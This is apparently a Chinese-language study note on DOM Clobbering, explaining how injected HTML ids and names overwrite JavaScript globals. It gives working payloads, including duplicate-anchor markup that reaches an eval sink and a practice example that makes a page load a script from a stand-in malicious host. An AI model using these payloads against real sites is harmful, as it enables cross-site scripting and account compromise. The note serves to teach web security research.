DOM Clobbering Attack学习记录
很早就提出的攻击技巧了，都差不多忘记了，再拿出来复习复习。
0x1 DOM Clobbering入门
之前在文章《前端中存在的变量劫持漏洞》中对id已经有了一些认识，我们知道有如下知识：
<input id=username>
想在javascript中通过获取到此dom节点，出来使用 document.getElementById('username')
和 document.querySelector('#username')
之外还可以直接使用 window.username
来获取。
这个特性就被称为 DOM Cloberring
,可以造成很多有意思的漏洞，比如当程序依赖某些全局变量是否存在做某些分支跳转的时候： if(window.isAdmin){ ... }
.
为了分析 DOM Clobbering
漏洞，假设我们有如下的代码：
if (window.test1.test2) {
eval(''+window.test1.test2)
}
想利用 Dom Clobbering
技巧来执行任意的js，首先需要解决两个问题。
[object HTMLInputElement]
为了解决第一个问题，我们很容易就想到 <form>
标签，因为每一个 <input>
标签的都会添加为它之上的 <form>
标签的属性，属性的名字就是 <input>
标签中声明的 name
属性，下面举一个例子：
<form id=test1> <input name=test2> </form> <script> alert(test1.test2); // alerts "[object HTMLInputElement]" </script>
为了解决第二个问题，我们用一段小代码HTML可能存在的所有标签，然后check对应的dom节点对象有没有实现 toString
方法，或者直接继承于 Object.prototype
。如果是继承自 Object.prototype
,那么很有可能只会返回 [object SomeElement]
。
Object.getOwnPropertyNames(window) .filter(p => p.match(/Element$/)) .map(p => window[p]) .filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
执行完成后会返回两个属性, HTMLAreaElement
( <area>
) and HTMLAnchorElement
( <a>
),下面只说一下 <a>
标签吧（ <area>
标签类似）。 <a>
标签的 toString
会直接返回它的 href
属性。
<a id=test1 href=https://securitum.com> <script> alert(test1); // alerts "https://securitum.com" </script>
此时把上面的两个问题放到一块解决，可能会想出这样的方式：
<form id=test1> <a name=test2 href="x:alert(1)"></a> </form>
但是并不行， test1.test2
是 undefined
,因为 <input>
元素会变成 <form>
的属性，但是 <a>
标签并不会。
解决这个问题有个很有意思的方法，就是定义两个元素拥有一样的id：
<a id=test1>click!</a> <a id=test1>click2!</a>
我预期的是 window.test
会返回第一个 <a>
标签(因为 document.getElementById('#test1')
就会返回第一个)，但是确实一个HTMLCollection
>window.test1 <HTMLCollection(2) [a#test1, a#test1, test1: a#test1] length: 2 0: a#test1 1: a#test1 test1: a#test1 __proto__: HTMLCollection
这里就有一个很有意思的点， HTMLCollection
可以使用index进行访问，同时可以使用id访问，也就是 window.test1.test1
获取到的就是第一个元素。事实证明name属性也会直接注册为 HTMLCollection
的属性。
<a id=test1>click!</a> <a id=test1 name=test2>click2!</a>
> window.test1 < HTMLCollection(2) [a#test1, a#test1, test1: a#test1, test2: a#test1]length: 20: a#test11: a#test1test1: a#test1test2: a#test1__proto__: HTMLCollection > window.test1.test2 <a id="test1" name="test2">click2!</a>
所以我们就可以利用下面的方法轻松解决之前的 eval(''+window.test1.test2)
的问题了。
<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>
0x2 一个简单的练习
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
为了利用这个漏洞，只需要向html中添加如下内容就可以了。
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
0x3 进阶
找出所有id具有父子依赖关系的节点。实现代码很简单，如下所示：
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
最后的输出是:
form,button form,fieldset form,image form,img form,input form,object form,output form,select form,textarea
所以向要生成 x.y.value
可以使用如下的方式：
<form id=x><output id=y>I've been clobbered</output> <script> alert(x.y.value); </script>
使用form标签可以来伪造三层的对象引用
<form id=x name=y><input id=z></form> <form id=x></form> <script> alert(x.y.z) </script>
当form标签有两个一样的id的input标签的的时候，chrome会把input标签处理成为 [object RadioNodeList]
,这个对象有类似于数组的方法如forEach：
<form id=x> <input id=y name=z> <input id=y> </form> <script> x.y.forEach(element=>alert(element)) </script>
因为只有html规范中定义的属性才能注册为dom节点的属性，下面的例子就可以说明。
<form id=x y=123></form> <script> alert(x.y)//undefined ， y不是html规范定义的form的属性。 </script>
所以我们可以利用如下的代码来看一下我们都有哪些可以用的属性：
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"];//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
props.push(html[i]+':'+prop);
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
前面的代码展示了是string类型的属性，但是他们并不一定都是可以操作的，为了检查他们是否是可读可写的，需要用下面代码：
var props=[];
DOM =document.getElementById("content");
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){
}
}
}
}
console.log([...new Set(props)].join('\n'));
在这些DOM属性中有两个有意思的属性分别是”username”和”password”,他们是 <a>
标签的DOM节点的属性，但是并不是html中定义的属性，好像并不能通过html属性控制。
这两个属性可以通过url的中的username字段和password字段提供。但是需要注意一定需要有 @
符号
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a"> <script> alert(x.username)//Clobbered-username alert(x.password)//Clobbered-password </script>
用http协议也可以，但是需要添加 //
<a id=x href="http://Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
需要注意一点，如果依赖于 <a>
标签的 toString
函数将dom对象转换为字符串，获取的字符串总是经过url编码的，例如下面这样：
<a id=x href="http:<>">
<script>
alert(x) //http://myip:8888/%3C%3E
</script>
此时可以利用一些根本不存在的协议来绕过：
<a id=x href="abc:<>">
<script>
alert(x)//abc:<>
</script>
Firefox浏览器允许在base标签中定义协议，然后在a标签中使用，能够获取到未经过urlencode的数据
<base href=a:abc><a id=x href="Firefox<>">
<script>
alert(x)//Firefox<>
</script>
chrome浏览器也可以实现类似的效果，但是获取的值在base标签的href属性中。
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123> <script> alert(x.xyz)//a://Clobbered<> </script>
0x4 获取三级以上的对象引用
使用iframe的srcdoc属性可以创建任意层数的对象引用。
<iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <script>setTimeout(()=>alert(a.b.c.d),500)</script>
当时上面有一个问题，就是必须使用 setTimeout
设置一个延迟以保证iframe加载完毕。这里好的办法是利用style/link标签导入一个外部的样式表来创造一个小的延迟：
<iframe name=a srcdoc=" <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe> <style>@import '//portswigger.net';</style> <script> alert(a.b.c.d) </script>
